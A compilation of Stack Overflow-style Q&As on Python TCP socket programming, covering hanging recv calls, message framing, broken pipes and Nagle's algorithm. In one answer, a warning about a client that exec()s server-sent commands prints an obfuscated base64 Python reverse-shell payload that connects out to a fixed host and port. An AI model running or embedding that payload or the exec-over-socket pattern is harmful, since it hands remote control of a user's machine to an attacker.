I have a socket server running on an Arduino board and am trying to control it via a Python script. Using the basic example socket documentation, I have this:
import socket
import sys
TCP_IP = '192.168.254.100'
TCP_PORT = 5012
BUFFER_SIZE = 1024
MESSAGE = "Status"
# Create a TCP/IP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE)
# data = s.recv(BUFFER_SIZE)
# print (data)
s.close()
sys.exit()
My script works fine when I comment out the lines to receive the response of the server. However, if I attempt to read the response, my server and python script hangs.
On the server side, here is a snippet of what the code looks like:
void loop() {
// listen for incoming clients
client = server.available();
if (client){
Serial.println("Client connected");
while (client.connected()){
// Read the incoming TCP command
String command = ReadTCPCommand(&client);
// Debugging echo command to serial
command.trim();
Serial.println(command);
// Debugging echo command back to client
client.println(command);
// Phrase the command
PhraseTCPCommand(&client, &command);
}
// Stop the client
client.stop();
Serial.println("Client disconnected");
}
}
The library I am utilising for the server is the Arduino WiFi library.
The function PhraseTCPCommand, takes the command and triggers external events with the GPIO pins of the board. This action is performed fine by the Python script when the recv() is commented out. The response string sent from the server is terminated with a newline and carriage return. Could that be causing issues?
Additionally, I am able to connect and receive responses from the server with no issues using either telnet, netcat or PuTTY, which leads me to believe it's something to do with the way my Python script attempts to read the response from the server.
The response string sent from the server is terminated with a newline
and carriage return. Could that be causing issues?
No, what is causing the issue is possibly that the command MESSAGE is not terminated with a newline and the function ReadTCPCommand() expects one. Change to:
MESSAGE = "Status\n"
The issue here could be that your message has not been fully sent, and reflects a common misunderstanding of socket programming. Low level calls such as send do not promise to send the full message. Instead the caller must check the number of bytes actually sent (from the return value) and continue to iteratively call the function until the full message is sent.
In general, a bare send call without such iteration is a mistake.
Python does provides a higher level function socket.sendall however that will perform this job for you.
Related
so I basically have just a Client & Server application going on here and the server sends out data in a loop that looks like this {"Message": "Status Check From Server"}
For some reason after the server sends this out around 3 times, the Client then stops receiving data for about 10 seconds then prints out what looks like multiple merged messages of the same data, it looks something like this {"Message": "Status Check From Server"}{"Message": "Status Check From Server"}{"Message": "Status Check From Server"}{"Message": "Status Check From Server"}{"Message": "Status Check From Server"}{"Message": "Status Check From Server"}{"Message": "Status Check From Serv I literally have no clue what this is, I've tried so hard to debug this and just can't figure it out, I don't know if it's my code or if this is simply how TCP works. I'll put some of the code down below.
SERVER SIDE | HAD TO CHANGE SOME OF THE CODE IN HERE TO MAKE SENSE
# Binding Of The Socket
SOCK = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
SOCK.bind(('0.0.0.0', 777))
SOCK.listen()
# This Is The Function I Have Written Up That Sends That Status Check Message To The Clients
def DeviceChecker():
global DEVICE_LIST
while True:
for DEVICE in DEVICE_LIST:
try:
DEVICE.send(json.dumps({'Message': 'Status Check From Server'}).encode())
DATA = DEVICE.recv(4096, socket.MSG_PEEK)
if len(DATA) == 0:
raise BrokenPipeError
except BrokenPipeError:
DEVICE_LIST.remove(DEVICE)
CLIENT SIDE
# This Is Where The Client Connects To The Server
SOCK = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
SOCK.connect(('0.0.0.0', 777))
# This Is Where The Client Is Receiving The Data
def DataListener(SOCK):
while True:
try:
DATA = SOCK.recv(4096).strip()
print(DATA)
except BrokenPipeError:
return
Because of the way TCP sockets work, individual write() calls do not result in individual "messages". TCP is designed to break large data streams into packets for transmission over the internet, and rejoin them on the receiving end. The stream of data from one socket to another, in TCP streams at least, is continuous, and individual write()'s are lumped into the same buffer. This is the same issue as in this answered question which describes creating a file-like object using socket.makefile(), then using write() and then flush() on that object to ensure all the data is sent. If you need to make sure your messages are received one at a time, you can have your client send an acknowlegement after each message it receives, and have your server wait for that acknowlegement before sending the next message. As a side note, the socket.send() method is not guaranteed send all the data you give it, and will return, as an int, the number of bytes it actually sent. If you need to make sure all the data is sent in one function call, use socket.sendall(). That will call send() as many times as it needs to.
I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?
An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.
I'm working on assignment where I need to connect to a server (no details of server are disclosed), capture the reply, modify it and send it back for verification.
I have created following code which does what I need, but the issue is that after 1st correct reply, server sends another.
Code:
# -*- encoding: utf-8 -*-
import socket
from decryptmsg import decryptmsg
from cleanmsg import cleanmsg
#connection
ip="<IP>"
port=4000
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip,port))
def recvall(sock):
BUFFER = 8192
data = b''
while True:
part = sock.recv(BUFFER)
data += part
if len(part) < BUFFER:
break
return data
while True:
print "[+] start communication"
data = recvall(sock)
print data
data = cleanmsg(data)
if data != None:
valmis = decryptmsg(str(data))
if valmis == None:
print "[-] no results"
break
else:
print "[+] sending message... "
sock.send(valmis)
continue
When I hit the second question, I get the input captured fine with this code and processed as expected, but when I try to send the 2nd reply back I get error:
Traceback (most recent call last):
File "challenge.py", line 28, in <module>
sock.send(valmis)
socket.error: [Errno 32] Broken pipe
If I do not close or shutdown the socket, no reply is ever sent to server.
How can I tell my client to send the message and wait for reply without socket.shutdown? Or if I need to open new socket for each loop, how should the loop be constructed? The reply from server changes each time so if I open new connection completely and request for data, I get new reply and the process starts from beginning again.
UPDATE:
the issue seems to be when trying to receive the second reply from server, only the first line of message is received by client.
How do you know it does not send anything? I modified your code a bit (there is something odd in the else: clause, I will come back to that later).
import socket
#connection
ip="localhost"
port=4000
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip,port))
while True:
data = sock.recv(8192)
if not data: break;
print data
if data != None:
valmis = data
if valmis == None:
print "[-] no results"
break
else:
print "[+] sending message... "
sock.send(valmis) #this never gets sent without
continue
Basically this is a stripped version of your code - no decrypting or external functionality. It just sends back whatever it receives from the server.
Then I ran a "server" with ncat:
ncat -l 4000
start your program and start typing in lines (1, 2, 3, 4 etc) and this happens at "server". The client promptly echoes my messages back:
test#xyzzy:/tmp$ ncat -l 4000
1
1
2
2
3
3
And this happens at the client:
test#xyzzy:/tmp$ python so.py
1
[+] sending message...
2
[+] sending message...
3
[+] sending message...
To me it looks this code works fine. If the server does not receive your reply, it might be that there is a problem on the server side. It might for example expect a terminator character in the response. Does your cleanmsg clean the message too much and for example remove a trailing newline and the server expects to receive one?
There is a problem in your original else clause as you do another sock.recv() there. Which means after receiving a reply, you block there to wait for the next message from server and when you do receive one, you will continue your loop and hit sock.recv() again. The second message was consumed already in your else clause.
This may be intentional if your server somehow acknowledges your decryption. If your protocol is this:
server -> client (request)
client -> server (decrypted message)
server -> client (some kind of acknowledgement - unclear from your code)
server -> client (request 2)
etc.
Then you have probably hit the issue in Jason's comment. TCP sockets are completely agnostic to the concept of a message. They just transmit data. When your code hits sock.recv(), one of five things can happen:
There is nothing in the socket and the call blocks
There is a full "message" and only that in the socket and you receive that
There is a partial message and you will receive that. Either because the message is over 8192 bytes, or your code just decides to read when the server has only transmitted some of the message data.
There are two or more complete "messages" waiting and you will receive them all.
As four, but the last message is partial
Always when operating with TCP sockets, you must cater for scenarios 2-5. You must parse the data, make sure everything is there, and if not, wait for more. And if there was more than you expected, process them accordingly. If they are complete messages, process them. If the last message is partial, process everything else and wait for more.
If messages seem to "disappear" in a self-made communication protocol using TCP sockets, 99% of the problems are caused by making the assumption that sockets would know or care what is the structure of your "message". A very common mistake is to read your socket empty and ignore everything you received after your first message.
Hope this is helpful. Your code without the additional recv seems to work fine from socket communication perspective - no need to shut down the socket. It may be a server side issue, protocol issue or message parsing problem.
For this reason, always have only one recv call for your socket. Even if you are expecting some kind of an acknowledgement instead of a new message, have only one place where you process socket data. Then do some kind of a conditional there to detect what kind of a message you received and then decide what to do with it.
I am experimenting with python sockets to try to understand the whole concept better, but I have run into a problem. I have a simple server and a client, where the client sends a list to the server, and then waits for the server to send a string signaling the process is complete.
This is the client file:
import socket
import json
host = '192.168.1.102'
port = 14314
def request():
print 'Connecting'
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect((host, port))
print 'Sending request'
clientsocket.sendall(json.dumps([1, 2, 3, 4, 5, 6, 7, 8, 9]))
print 'Receiving data'
data = clientsocket.recv(512)
print 'Received: {}'.format(data)
request()
and here is the server file:
import socket
import json
host = '192.168.1.102'
port = 14314
def run():
print 'Binding socket'
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind((host, port))
print 'Waiting for client'
serversocket.listen(1)
clientsocket, addr = serversocket.accept()
print 'Receiving data'
raw_data = ''
while True:
tmp = clientsocket.recv(1024)
if not tmp:
break
raw_data += tmp
data = json.loads(raw_data)
print 'Received: {}'.format(data)
print 'Sending data'
clientsocket.sendall('done')
run()
The problem is that while the client is done sending the list, the server is stuck in the recv loop, waiting for nothing. The whole data has been received in the first iteration and in the second iteration there is nothing to be received because the client has moved on to the receiving part.
The weird part is that if I comment out the receive part from the client and the send part from the server, the process completes successfully. So, what am I doing wrong? Why is this not working?
Thanks.
The Docs for socket.recv talk about additional flags being able to be passed in to the recv function described in the unix documentation. So turning to that documentation, I found the following message:
If no messages are available at the socket, the receive calls wait for
a message to arrive, unless the socket is nonblocking (see fcntl(2)),
in which case the value -1 is returned
So once again, we're directed to another page. The documentation for fcntl says
Performs one of the operations described below on the open file
descriptor
So, normally the socket.recv function is blocking (it will wait indefinitely for new data), unless we use a file descriptor. How do we do that? Well there is a socket.makefile function that gives us a file descriptor attached to the socket. Cool. This SO question gives us an example of how we can read and write to a socket, using a file descriptor.
Well what if we don't want to use a file descriptor. Reading further into the unix documentation for the recv function, I see that I can use the MSG_DONTWAIT flag. This doesn't work in Windows, but I did find out that we can use socket.setbocking(False) to permamently change the socket to non-blocking mode. You would then need to ignore any "A non-blocking socket operation could not be completed immediately" errors. Those are normal and non-fatal(error #10035 of this page mentions it is non-fatal).
Another possible implementation would be to multi-thread your program, you can implement a receiving and a sending thread for your socket. This might give you the best performance, but it would be a lot of work to setup.
Python is awesome. I just found some libraries Python has that does asynchronous sockets too. There's asyncore, asynchat which have both been deprecated in favor of asyncio if that is available in the version of Python you are using.
Sorry for throwing so much out there. I don't know a whole lot about sockets. I used them once with the Paramiko library, and that was it. But it looks like there are a lot of ways of implementing them.
I'm trying to understand how send and receive are working.
I was trying to send continuously data to a server and i noticed that the server would receive mixed bytes because i was sending to much data at a time. See my code:
Server:
import socket, struct
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("",1996))
server.listen(0)
c,d = server.accept()
while True:
data = c.recv(1024)
print( struct.unpack("i", data)[0] )
Client:
import socket, struct
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect(("192.168.1.4",1996))
while True:
data = 1
server.send( struct.pack("i", data) )
Then i change the while loops to this:
Server:
data = c.recv(1024)
print( struct.unpack("i", data)[0] )
c.send( str.encode("Server received your message. You now can continue
sending more data") )
Client:
data = 1
server.send( struct.pack("i", data) )
#Wait to secure the send.
server.recv(1024)
This is working. I'm making sure that the client won't send data before the
server already receive the previous send.
But what if i want to do the same for the server too? How can i make sure that the server will send bytes to the client in a safe way?
I already tried this and i notice that i created an infinity loop because(I used multi-threading in order to send and receive at the same time on the server):
client was sending some data and then waiting to get a signal from the server
that he can send again.
the server was getting some data then sending the signal and after that waiting for a signal from the user that he can send again.
But because the client was actually sending data again, the whole thing was going on again and this caused me an infinity talk-reply loop.
So what can i do to make a continuously conversation between two sockets without mixing the bytes together?
Your problem is caused by Nagle algorithm which works by combining a number of small outgoing messages, and sending them all at once as TCP is a stream protocol. You can enable TCP_NODELAY socket option by calling sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) to sent data as soon as possible, even if there is only a small amount of data. And on the receiver side, it isn't going to get one packet at a time either, you must implement message boundaries itself if you want "continuous conversation between two sockets without mixing the bytes together".